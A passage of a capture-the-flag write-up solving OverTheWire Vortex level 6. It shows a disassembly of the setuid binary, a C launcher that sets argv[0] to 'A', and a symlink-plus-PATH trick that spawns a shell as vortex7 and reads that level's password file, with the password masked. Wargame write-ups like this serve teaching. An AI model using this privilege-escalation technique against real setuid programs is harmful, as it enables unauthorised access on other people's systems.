But using ltrace (or strace) we discover that it keeps executing itself creating an endless cycle:
vortex6@vortex:~$ ltrace /vortex/vortex6 __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...> --- Called exec() --- __libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...> execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
Let's look at the code in gdb:
vortex6@vortex:~$ gdb /vortex/vortex6 ... (gdb) disassemble main Dump of assembler code for function main: 0x0804849f <+0>: push %ebp 0x080484a0 <+1>: mov %esp,%ebp 0x080484a2 <+3>: and $0xfffffff0,%esp 0x080484a5 <+6>: sub $0x10,%esp 0x080484a8 <+9>: mov 0x10(%ebp),%eax 0x080484ab <+12>: mov (%eax),%eax 0x080484ad <+14>: test %eax,%eax 0x080484af <+16>: je 0x80484be <main+31> 0x080484b1 <+18>: mov 0xc(%ebp),%eax 0x080484b4 <+21>: mov (%eax),%eax 0x080484b6 <+23>: mov %eax,(%esp) 0x080484b9 <+26>: call 0x804847d <restart> 0x080484be <+31>: mov 0x10(%ebp),%eax 0x080484c1 <+34>: add $0xc,%eax 0x080484c4 <+37>: mov (%eax),%eax 0x080484c6 <+39>: mov %eax,(%esp) 0x080484c9 <+42>: call 0x8048330 <printf@plt> 0x080484ce <+47>: movl $0x7325,(%esp) 0x080484d5 <+54>: call 0x8048340 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x0804847d <+0>: push %ebp 0x0804847e <+1>: mov %esp,%ebp 0x08048480 <+3>: sub $0x18,%esp 0x08048483 <+6>: movl $0x0,0x8(%esp) 0x0804848b <+14>: mov 0x8(%ebp),%eax 0x0804848e <+17>: mov %eax,0x4(%esp) 0x08048492 <+21>: mov 0x8(%ebp),%eax 0x08048495 <+24>: mov %eax,(%esp) 0x08048498 <+27>: call 0x8048350 <execlp@plt> 0x0804849d <+32>: leave 0x0804849e <+33>: ret End of assembler dump. (gdb)
We see that if argv[0] is not set, the flow jumps to the final lines with printf() and exit().
Otherwise it jumps to restart: this procedure calls execlp() with argv[0] as parameter-
Passing a specific argv[0] we can redirect the execlp() call in the first execution of restart
Let's try with this calling program with something in the argument and ENV
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #include <stdlib.h> int main (int argc, char *argv[]) { char *sc[4]; sc[0]="A"; sc[1]= "AAAA"; sc[2]= "BBBB"; sc[3]= "CCCC"; execve("/vortex/vortex6",sc,sc); return 0; } |
Compile and executing it in a temporary folder
vortex6@vortex:/tmp/vortex6$ strace ./v6 execve("./v6", ["./v6"], [/* 20 vars */]) = 0 .... execve("/vortex/vortex6", ["A", "AAAA", "BBBB", "CCCC", "UW1\377VS\350\325\376\377\377\201\303\205\33"], [/* 9 vars */]) = 0 ..... execve("A", ["A"], [/* 22 vars */]) = -1 ENOENT (No such file or directory) .... exit_group(29477) = ? +++ exited with 37 +++
The interesting part is that it calls execve("A"), where "A" is the argv[0] we put in the calling program.
So now we create a symbolic link to /bin/sh and add local directory in the PATH.
Then execute vortex6 and...
vortex6@vortex:/tmp/vortex6$ ln -s /bin/sh A vortex6@vortex:/tmp/vortex6$ PATH=.:$PATH vortex6@vortex:/tmp/vortex6$ ./v6 $ id uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6) $ cat /etc/vortex_pass/vortex7 Y******/
$